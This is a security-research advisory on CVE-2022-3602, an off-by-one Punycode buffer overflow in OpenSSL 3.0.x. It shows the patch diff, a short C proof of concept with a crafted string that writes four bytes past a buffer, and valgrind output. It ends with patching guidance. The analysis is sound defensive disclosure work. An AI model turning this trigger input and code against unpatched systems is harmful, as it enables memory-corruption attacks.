Rapid7
Threat Research

Rapid7 Analysis: CVE-2022-3602

|Last updated on Jun 16, 2026|5 min read

Description

On November 1, 2022, the OpenSSL project released version 3.0.7 to address a pair of vulnerabilities - CVE-2022-3602 and CVE-2022-3786 - that they labeled as “critical” in their announcements, then downgraded to “high” when they were released. In their blog post, the OpenSSL developers explain that they downgraded the risk because exploitation seems unlikely:

During the week of prenotification, several organisations performed testing and gave us feedback on the issue, looking at the technical details of the overflow and stack layout on common architectures and platforms. […] the stack layout was such that the 4 bytes overwrote an adjacent buffer that was yet to be used and therefore there was no crash or ability to cause remote code execution.

Even though the OpenSSL team knew that the vulnerability was going to be downgraded before they released the patch, and that most potentially vulnerable targets were not going to be affected, they did nothing in the hours leading up to the release to defuse the collective panic. We’d like to see future projects be more open with impact changes, particularly when upcoming releases are going to be less impactful than originally announced.

CVE-2022-3602 refers to a 4-byte (32-bit) buffer overflow that is caused by an off-by-one error when parsing Punycode utilizing OpenSSL’s Punycode library. The Punycode functions are part of the libcrypto.so shared library (also libcrypto.a) and are only accessible through certificate-validation functions after certificate validation. In a trusted certificate, this can potentially affect any client application running a vulnerable version of OpenSSL, or any server application that is configured to validate client certificates. Even on affected hosts, the likelihood of meaningful exploitation is low for reasons detailed below.

Affected products are:

  • OpenSSL 3.0.0 - 3.0.6 (fixed in OpenSSL 3.0.7; other OpenSSL versions are not affected)

Technical analysis

CVE-2022-3602 is an off-by-one error in OpenSSL’s Punycode-parsing function (ossl_punycode_decode) in punycode.c, where the “max length” argument (unsigned int *pout_length) is not used correctly. That means that any Punycode string that decodes to exactly one more 32-bit character than the maximum length will overwrite the memory immediately following the decoded string. We wrote a simple proof of concept that calls the Punycode function directly; in practice, these functions are only used in certificate-validation code.

The diff in this patch is quite simple; literally one character is added:

$ git diff 4bae06d47ae26b37a948d31f11884e1813f6d669 fe3b639dc19b325846f4f6801f2f4604f56e3de3
diff --git a/crypto/punycode.c b/crypto/punycode.c
index 385b4b1df4..5e211af6d9 100644
--- a/crypto/punycode.c
+++ b/crypto/punycode.c
@@ -181,7 +181,7 @@ int ossl_punycode_decode(const char *pEncoded, const size_t enc_len,
         n = n + i / (written_out + 1);
         i %= (written_out + 1);
 
-        if (written_out > max_out)
+        if (written_out >= max_out)
             return 0;
 
         memmove(pDecoded + i + 1, pDecoded + i,$ git diff 4bae06d47ae26b37a948d31f11884e1813f6d669 fe3b639dc19b325846f4f6801f2f4604f56e3de3

The exploit is equally simple: Create a Punycode string that decodes to exactly one (32-bit) character too long, and it’ll write that character past the end of the buffer:

// Edit to change the test string
#define TEST_STRING 

// Edit to change the output buffer's length
#define DECODED_LENGTH 20

int ossl_punycode_decode(const char *pEncoded, const size_t enc_len, unsigned int *pDecoded, unsigned int *pout_length);

int main(int argc, char *argv[])
{
  setlocale(LC_CTYPE, "");

  uint32_t *decoded = (uint32_t*) malloc(20 * 4);
  unsigned int decoded_len = 20;

  ossl_punycode_decode("hello! -gr25faaaaaaaaaaaaa", strlen("hello! -gr25faaaaaaaaaaaaa"), decoded, &decoded_len);

  return 0;
}

The string "hello! -gr25faaaaaaaaaaaaa" decodes to 21 32-bit characters, but the maximum length (as passed) is 20 characters; therefore, the final character is written past the end of the buffer. Even in our toy example this doesn’t cause anything visible to happen, but valgrind can detect the overflow:

$ valgrind ./cve-2022-3602-4byteoverwrite-vuln 
[...]
==92826== Invalid write of size 4
==92826==    at 0x40156B: ossl_punycode_decode (in /home/ron/shared/analysis/openssl/cve-2022-3602-4byteoverwrite-vuln)
==92826==    by 0x401235: main (cve-2022-3602-4byteoverwrite.c:23)
==92826==  Address 0x4a73500 is 0 bytes after a block of size 80 alloc'd
==92826==    at 0x484486F: malloc (vg_replace_malloc.c:381)
==92826==    by 0x40120D: main (cve-2022-3602-4byteoverwrite.c:20)

encoded: [26] hello! -gr25faaaaaaaaaaaaa
==92826== Invalid read of size 4
==92826==    at 0x4012A4: main (cve-2022-3602-4byteoverwrite.c:34)
==92826==  Address 0x4a73500 is 0 bytes after a block of size 80 alloc'd
==92826==    at 0x484486F: malloc (vg_replace_malloc.c:381)
==92826==    by 0x40120D: main (cve-2022-3602-4byteoverwrite.c:20)
==92826== 
decoded: [21] hello! 😉😉😉😉😉😉😉😉😉😉😉😉😉😉
[...]

Two things worth noting here:

  • This could have been trivially discovered with any amount of fuzzing or testing (as demonstrated by a Twitter user); the fact that a project like OpenSSL did not fuzz new and custom parsing code written in C is very concerning.
  • The max length parameter (pout_length) is the number in 32-bit characters that the output has space for (20 in our example), not the actual amount of memory required (80 bytes in our example), but that’s not mentioned at all in the function’s documentation; even if it WAS documented, this sort of API design is ripe for accidental misuse, because it’s very easy to set the max length argument to 4x longer than it should be, leading to buffer overflows much worse than 4 bytes!

Guidance

Organizations that are running an affected version of OpenSSL should update to 3.0.7 when practical, prioritizing operating system-level updates and public-facing shared services with direct dependencies on OpenSSL. Emergency patching is not indicated.

References

LinkedInFacebookXBluesky